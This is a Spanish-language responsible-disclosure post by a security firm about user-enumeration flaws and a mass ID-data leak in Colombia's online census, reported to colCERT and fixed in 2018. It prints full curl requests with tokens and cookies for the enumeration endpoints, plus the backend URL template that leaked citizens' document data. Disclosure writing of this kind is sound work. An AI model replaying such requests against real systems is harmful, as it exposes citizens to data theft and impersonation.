Enumeración de usuarios y fuga masiva de datos personales en el eCenso online*

Advisability
advisability ! Confía, pero verifica !
4 min readMar 18, 2018

*Fallas reportadas oficialmente al colCERT a través del correo contacto@colcert.gov.co y corregidas hacia el 9 de Marzo de 2018.

Luego de la experiencia positiva al reportar a colCERT descrita en esta entrada decidimos reportar dos fallas de enumeración de usuarios, esto es saber si un usuario está registrado usando su número de documento o correo electrónico, que venían de tiempo atrás (estas se pueden observar en el código del eCenso offline en el modulo registro/controllers/Registro.php).

En la corrección de las diferentes fallas reportadas, en el proceso de registro, introdujeron una falla crítica que pudo permitir la fuga de información de la totalidad de los datos del documento de identidad de las personas no registradas en el eCenso y que también reportamos. A continuación los detalles.

Enumeración de usuarios en el eCenso

Las fallas de este reporte daban cuenta de la posibilidad de enumerar usuarios en el eCenso del DANE, es decir, saber si algún ciudadano particular estaba ya registrado en el eCenso usando solamente su número de documento o su correo electrónico. A pesar de que le enumeración de usuarios no es considerada una falla crítica es el punto de partida para intentar adivinar las contraseñas de los usuarios registrados o iniciar ataques de ingeniería social con la certeza de que el usuario está registrado y se debe evitar.

Para saber si un usuario estaba registrado en el eCenso bastaba con hacer una llamada de tipo POST a la api de registro (numeDocu cambiado por 000):

curl -i -s -k -X $'POST' \
-H $'Host: ecenso.dane.gov.co' -H $'User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/58.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://ecenso.dane.gov.co/registro' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'X-Csrf-Token: ef61a4c6fa08daa80a96dfb5ef607f82' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Length: 39' -H $'Cookie: _ga=GA1.3.2098195110.1515715587; WEBSVR=server7; csrf_token=ef61a4c6fa08daa80a96dfb5ef607f82; ci_session-=4GrFpEIZqfTPLKeF7hM6%2CslPhya; _gid=GA1.3.1984817182.1517617704; _gat=1' -H $'Connection: close' \
--data-binary $'tipoDocu=3&numeDocu=00000000&peticion=1' \
$'https://ecenso.dane.gov.co/registro/completarPersona'

Para un usuario registrado obteníamos la respuesta:

{“codiError”:4,”msgError”:”Ya existe un usuario registrado con este n\u00famero de documento.”,”tooo”:{“name”:”csrf_token”,”hash”:”ef61a4c6fa08daa80a96dfb5ef607f82"},”segundoApellido”:””,”primerApellido”:””,”segundoNombre”:””,”primerNombre”:””}%

ó para un usuario no registrado:

{“codiError”:0,”msgError”:””,”tooo”:{“name”:”csrf_token”,”hash”:”ef61a4c6fa08daa80a96dfb5ef607f82"},”segundoApellido”:””,”primerApellido”:””,”segundoNombre”:””,”primerNombre”:””,”registraduria”:”0"}%

De igual forma usando un correo electrónico se obtenían dos respuestas diferenciadas para usuarios registrados y no registrados.

curl -i -s -k -X $'POST' \
-H $'Host: ecenso.dane.gov.co' -H $'User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/58.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://ecenso.dane.gov.co/registro' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'X-Csrf-Token: 024a97d21993872bbc358ee5abc24b6c' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Length: 21' -H $'Cookie: _ga=GA1.3.2098195110.1515715587; aprendizajesmca.dane.gov.co-20480-app_Moodleweb=COABKIMAFAAA; csrf_token=024a97d21993872bbc358ee5abc24b6c; ci_session-=TpMpqJX%2CU3WHD8MRyHwPFOxPeYa; WEBSVR=server2; _gid=GA1.3.475910716.1519500867' -H $'Connection: close' \
-b $'_ga=GA1.3.2098195110.1515715587; aprendizajesmca.dane.gov.co-20480-app_Moodleweb=COABKIMAFAAA; csrf_token=024a97d21993872bbc358ee5abc24b6c; ci_session-=TpMpqJX%2CU3WHD8MRyHwPFOxPeYa; WEBSVR=server2; _gid=GA1.3.475910716.1519500867' \
--data-binary $'email=hola%40hola.com' \
$'https://ecenso.dane.gov.co/registro/validarCorreo'

A diferencia de las primeras versiones se había introducido un token CSRF que sin embargo no es garantía de protección de un endpoint público. Como vemos en el código simplemente incluímos el token CSRF en los headers y cookies y podemos usarlo. Es muy importante que los desarrolladores no confundan una protección a usar un token CSRF.

Falla crítica: Fuga de la totalidad de los datos del documento de identidad

Unos días más tarde el 08/03/2018 decidimos dar de nuevo una mirada al eCenso y constatar que los endpoints anteriormente mencionados habían sido deshabilitados. Sin embargo lo que encontramos fue más preocupante. Dentro del proceso de registro del eCenso se encontraban unas llamadas a un backend.

https://back.dane.gov.co:9000

Con una simple llamada, incluso con un Navegador !, podíamos obtener TODOS los datos del documento de una persona que no se encontrara registrada en el eCenso.

Cambiar XXXXX por el número de cédula :

https://back.dane.gov.co:9000/dane/api/v1/Encuesta/registraduria?nuip=XXXXXXX&tipoDocumento=3
La totalidad de los datos del documento

De esta forma era posible obtener la totalidad de los datos del documento de una persona no registrada en el eCenso online y proceder a registrarnos por esta persona ya que teníamos TODOS los datos de su documento. Esta se trataba de una fuga de datos personales a gran escala con la posibilidad, de nuevo, de una suplantación masiva y registro en el eCenso.

Los datos que nos entregaba del documento de identidad de una persona no registrada en el eCenso sin ninguna protección eran los siguientes:

REPORTE

Invitamos a las personas y empresas de la comunidad informática a realizar auditorías independientes de seguridad a los productos y a reportar de forma responsable a las autoridades que como en este caso atendieron amablemente y corrigieron prontamente en beneficio de la ciudadanía.

Dada la importancia del tema y ya que puede servir de ejemplo de cómo no hacer el diseño de un sistema hemos decidido documentar y publicar el caso en su totalidad. Para más información contáctenos en info@advisability.co o en la página https://www.advisability.co en donde encontrará nuestra llave PGP para comunicación segura

Cronología

  • 24/02/2018 — Aviso al colCERT de la falla de enumeración por medio del correo electrónico contacto@colcert.gov.co usando PGP.
  • 08/03/2018 — Detectamos que la falla de enumeración fue solucionada. Evento que pudo ser en fecha anterior a nuestra verificación.
  • 08/03/2018 — Detectamos la introducción de una API y un backend público con una vulnerabilidad crítica. Avisamos de nuevo a colCERT por medio del correo electrónico contacto@colcert.gov.co usando PGP.
  • 16/03/2018 —Se informó sobre esta publicación una vez identificamos la falla corregida en fecha anterior.
  • 18/03/2018 — Publicación

--

--

Advisability
advisability ! Confía, pero verifica !

Software a la medida, Pentesting, Auditoría en Seguridad, Inteligencia Comercial, Venta y configuración de equipos de seguridad.